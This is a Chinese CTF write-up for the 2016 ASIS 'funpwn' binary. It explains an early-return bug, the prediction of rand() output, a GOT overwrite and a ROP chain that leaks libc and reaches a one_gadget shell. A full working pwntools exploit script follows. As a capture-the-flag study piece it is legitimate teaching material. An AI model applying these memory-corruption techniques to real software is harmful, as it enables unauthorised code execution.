2016asis-ctf-funpwn_wp (修改版)

题目链接

建筑游戏,有一个结构体

1.(commercial)

  • 0 (welfare)
  • 1 (facilities)
  • 2 (defense)

2.(residential)

  • 0 (population)

3.(industrial)

  • rand() % 3

漏洞点:
image.png
develop操作创建一个commercial时,当属性不对会直接return

image.png
step操作中会对commercial类型的结构体进行相加,v1我们可以利用上面的漏洞进行可控

那么我们可以先创建一个residential,然后再让他为commercial途中return,这样我们就能控制v1为我们输入的值,进而去改变printf_got的值

利用:
首先我们知道rand的数列,通过构造可以改结构体指针指向我们想要的负数,

image.png

这样下一次对welfare操作就是wlfare[-42] = printf_got,这里我们为了把printf_got的地址改成
add rsp,0xd8 ,需要获得rand中的第34个数字,0x99
image.png
后续就能构造rop,泄漏puts地址,获取one_gadget,把printf_got地址改成one_gadget地址,最终getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *

context.log_level = 'debug'

def show():
p.recvuntil('> ')
p.sendline('show')

def develop(x,y,choice,content,data = None):
cmd = 'develop %d %d %s'%(x,y,choice)
if data != None:
cmd += ' ' + data
if choice == 'commercial' or choice == 'residential':
p.recvuntil('> ')
p.sendline(cmd)
p.recvuntil('?')
p.sendline(content)
elif choice == 'industrial':
p.recvuntil('> ')
p.sendline(cmd)
else:
pass

def demolish(x,y):
cmd = 'demolish %d %d'%(x,y)
p.recvuntil('> ')
p.sendline(cmd)

def step():
p.recvuntil('> ')
p.sendline('step')

def show():
p.recvuntil('> ')
p.sendline('show')

p = process('./funpwn')
elf = ELF('./funpwn')

for i in range(22): #22
develop(0,0,'industrial','')
demolish(0,0)


for i in range(5): #27
develop(5,i,'industrial','')

develop(4,0,'residential','182')
develop(4,0,'commercial','aaaa')
step() #33


develop(8,0,'residential','1','b'*72 + p64(0xFFFFFFD6)) # partial overwrite the printf to add rsp + 0xd8
step()

pop_rdi_ret = 0x00000000004019f3
pop_rbp_ret = 0x0000000000400bb5
read_addr = 0x0000000000401171
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
printf_got = elf.got['printf']

payload = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(pop_rbp_ret) + p64(printf_got + 0x110)
payload += p64(read_addr)



#gdb.attach(p)
develop(2,0,'commercial','c'*144 + payload)
p.recvuntil('\n')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
log.success('puts addr : 0x%x'%puts_addr)
libc_base = puts_addr - 0x6f690
log.success('lib base addr : 0x%x'%libc_base)
system_addr = libc_base + 0x45390
onegadge = libc_base + 0x45216

p.sendline(p64(onegadge))

p.interactive()